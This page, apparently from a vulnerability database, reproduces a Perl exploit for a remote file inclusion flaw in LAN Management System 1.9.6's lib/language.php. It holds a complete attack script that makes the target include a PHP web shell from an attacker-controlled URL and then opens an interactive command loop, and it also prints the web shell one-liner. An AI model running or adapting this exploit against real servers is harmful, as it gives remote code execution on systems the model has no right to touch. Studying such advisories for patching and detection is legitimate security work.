LAN Management System (LMS) <= 1.9.6 Remote File Inclusion Exploit

🗓️ 21 Jun 2007 00:00:00Reported by RootType

LAN Management System (LMS) 1.9.6 Remote File Inclusion Exploit. LMS allows remote code execution via language.php


                                                #!/usr/bin/perl
#
#&nbsp;LMS&nbsp;-&nbsp;LAN&nbsp;Management&nbsp;System&nbsp;1.9.6&nbsp;-&nbsp;RFI
#
#&nbsp;Risk&nbsp;:&nbsp;High&nbsp;(Remote&nbsp;Code&nbsp;Execution)
#
#&nbsp;Url:&nbsp;http://www.lms.org.pl/download/1.9/lms-1.9.6.tar.gz
#
#&nbsp;Exploit:
#&nbsp;&nbsp;&nbsp;http://site.com/[path]/lib/language.php?_LIB_DIR=[Evil_Script]
#
#&nbsp;(c)oded&nbsp;and&nbsp;f0und3d&nbsp;by&nbsp;Kw3[R]Ln&nbsp;&lt;office[at]rosecuritygroup[dot]net&gt;
#
#&nbsp;Romanian&nbsp;Security&nbsp;Team&nbsp;.:&nbsp;hTTp://RSTZONE.NET&nbsp;:.
#
#
#&nbsp;greetz&nbsp;to&nbsp;all&nbsp;RST&nbsp;[rstzone.net]&nbsp;MEMBERZ,&nbsp;Nemessis,&nbsp;Slick,&nbsp;str0ke,&nbsp;SpiridusuCaddy,&nbsp;zbeng,&nbsp;ENCODED,&nbsp;#&nbsp;Death,&nbsp;Ciupercutza&nbsp;[LUV&nbsp;TEAM]&nbsp;and&nbsp;all&nbsp;i&nbsp;forgot&nbsp;!
#
#&nbsp;Fuckz:&nbsp;GM&nbsp;[h4cky0u]&nbsp;-[bigest&nbsp;nub]

use&nbsp;LWP::Simple;

print&nbsp;&quot;...........................[RST]...............................\n&quot;;
print&nbsp;&quot;.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.\n&quot;;
print&nbsp;&quot;.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LMS&nbsp;-&nbsp;LAN&nbsp;Management&nbsp;System&nbsp;1.9.6&nbsp;-&nbsp;RFI&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.\n&quot;;
print&nbsp;&quot;.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.\n&quot;;
print&nbsp;&quot;...............................................................\n&quot;;
print&nbsp;&quot;.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Romanian&nbsp;Security&nbsp;Team&nbsp;-&gt;&nbsp;hTTp://RSTZONE.NET&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.\n&quot;;
print&nbsp;&quot;.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[c]oded&nbsp;by&nbsp;Kw3rLN&nbsp;-&nbsp;[email protected]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.\n&quot;;
print&nbsp;&quot;...............................................................\n\n&quot;;

my&nbsp;$kw3,$path,$shell,$conexiune,$cmd,$data&nbsp;;


if&nbsp;((!$ARGV[0])&nbsp;||&nbsp;(!$ARGV[1]))&nbsp;{&nbsp;&amp;usage;exit(0);}

$path&nbsp;=&nbsp;$ARGV[0];
chomp($path);
$shell&nbsp;=&nbsp;$ARGV[1];
chomp($shell);

$path&nbsp;=&nbsp;$path.&quot;/lib/language.php&quot;;


sub&nbsp;usage(){
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;&quot;Usage&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;perl&nbsp;$0&nbsp;host/path&nbsp;http://site.com/cmd.txt\n\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;&quot;Example&nbsp;&nbsp;:&nbsp;perl&nbsp;$0&nbsp;http://127.0.0.1&nbsp;http://site.com/cmd.txt\n\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;'Shell&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;&lt;?php&nbsp;ob_clean();ini_set(&quot;max_execution_time&quot;,0);passthru($_GET[&quot;cmd&quot;]);die;?&gt;';
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}

while&nbsp;()
{
print&nbsp;&quot;[kw3rln].[rst]&nbsp;:~\$&nbsp;&quot;;
chomp($cmd=&lt;STDIN&gt;);
if&nbsp;($cmd&nbsp;eq&nbsp;&quot;exit&quot;)&nbsp;{&nbsp;exit(0);}

$kw3&nbsp;=&nbsp;$path.&quot;?_LIB_DIR=&quot;.$shell.&quot;?&amp;cmd=&quot;.$cmd;
if&nbsp;($cmd&nbsp;eq&nbsp;&quot;&quot;)
&nbsp;{&nbsp;print&nbsp;&quot;Enter&nbsp;your&nbsp;command&nbsp;!\n&quot;;&nbsp;}
else
&nbsp;{&nbsp;$data=get($kw3);&nbsp;print&nbsp;$data&nbsp;;&nbsp;}
}

21 Jun 2007 00:00Current

7.1High risk

Vulners AI Score7.1

LAN Management System (LMS) &lt;= 1.9.6 Remote File Inclusion Exploit

LAN Management System (LMS) <= 1.9.6 Remote File Inclusion Exploit